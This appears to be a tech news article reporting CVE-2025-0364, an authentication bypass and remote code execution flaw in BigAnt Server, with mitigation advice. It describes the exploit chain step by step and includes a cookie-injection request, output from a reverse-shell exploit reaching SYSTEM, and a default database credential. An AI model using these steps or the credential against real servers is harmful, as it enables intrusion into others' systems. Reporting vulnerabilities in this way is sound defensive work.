BigAnt Server Vulnerability Lets Attackers Run Malicious Code Remotely

A critical vulnerability in BigAntSoft’s enterprise chat server software has exposed ~50 internet-facing systems to unauthenticated remote code execution attacks.

Designated CVE-2025-0364, this exploit chain enables attackers to bypass authentication protocols, create administrative accounts, and execute malicious PHP code on vulnerable servers running BigAnt Server v5.6.06 and earlier.

CVE-2025-0364: Authentication Bypass to PHP Code Execution

The vulnerability leverages misconfigured SaaS organization registration features in BigAnt Server’s web interface.

Attackers bypass CAPTCHA verification and craft administrative accounts through the /Home/Saas/reg_email_post endpoint, exploiting weak session management in the ThinkPHP framework. 

Once registered, attackers manipulate session cookies to hijack unauthenticated access to backend systems:

// Example of session hijacking via forced SaaS_ID assignment 

GET /index.php/Home/Login/index.html HTTP/1.1 

Cookie: saas=attacker_controlled_value 

Host: vulnerable-server.com

This cookie injection grants access to the administrative Cloud Disk Add-in, where attackers upload PHP webshells to paths like /data/[saas_id]/pan/[uuid]/YYYY-MM-DD/malicious.php. 

The server executes these files without authentication checks, enabling system-level command execution.

Security researchers at VulnCheck demonstrated this with a reverse shell payload:

# Exploit execution output showing SYSTEM privileges 

$ ./cve-2025-0364_linux-amd64 -rhost 10.0.0.104 -lhost 10.0.1.10 

[+] Requesting payload at: http://10.0.0.104:8000/data/[saas_id]/pan/[uuid]/2025-01-09/JQsaYCKEOu.php 

[+] Shell from 10.0.0.104:51690 

C:\Program Files\BigAntSoft\IM Console> whoami 

nt authority\system

Exploit Chain Analysis

The attack requires 10 sequential HTTP requests:

1. CAPTCHA Bypass: Solve 4-character CAPTCHA hashes like 652def5853ff0030a259b30af8e7facb_6e58b283a2a66e4db833ac2547019a30
2. SaaS Registration: POST request to /Home/Saas/reg_email_post with organization data
3. Session Manipulation: Assign session to attacker-controlled SaaS via cookie header
4. UUID Leak: Retrieve SaaS_ID from /demo page debug outputs
5. Service Activation: Activate organization with stolen UUID
6. Cloud Disk Auth: Authenticate using auto-generated admin credentials
7. File Upload: Write PHP payload to cloud drive directories
8. Payload Trigger: HTTP GET request to uploaded PHP path

Notably, the system stores SaaS credentials in plaintext within the sys_saas MySQL table using default credentials (root:www.upsoft01.com), exposing all organizational accounts if databases are compromised.

Mitigation and Impact

While BigAntSoft has not released an official patch, administrators should:

1. Disable SaaS registration via .htaccess rules blocking /Home/Saas/ endpoints
2. Audit sys_saas table for unauthorized entries
3. Remove PHP execution permissions from /data/ directories

VulnCheck’s exploit (GitHub: vulncheck-oss/cve-2025-0364) has accelerated attacks, with 15 servers compromised in March 2025 alone.

This vulnerability highlights systemic risks in enterprise chat platforms that combine unsecured registration workflows with privileged file management systems.

As of March 4, 2025, 72% of exposed BigAnt servers remain unpatched.

Are you from SOC/DFIR Teams? – Analyse Malware Incidents & get live Access with ANY.RUN -> Start Now for Free.

Keep your files stored safely and securely with the SanDisk 2TB Extreme Portable SSD. With over 69,505 ratings and an impressive 4.6 out of 5 stars, this product has been purchased over 8K+ times in the past month. At only $129.99, this Amazon’s Choice product is a must-have for secure file storage.

Help keep private content private with the included password protection featuring 256-bit AES hardware encryption. Order now for just $129.99 on Amazon!

Help Power Techcratic’s Future – Scan To Support

If Techcratic’s content and insights have helped you, consider giving back by supporting the platform with crypto. Every contribution makes a difference, whether it’s for high-quality content, server maintenance, or future updates. Techcratic is constantly evolving, and your support helps drive that progress.

As a solo operator who wears all the hats, creating content, managing the tech, and running the site, your support allows me to stay focused on delivering valuable resources. Your support keeps everything running smoothly and enables me to continue creating the content you love. I’m deeply grateful for your support, it truly means the world to me! Thank you!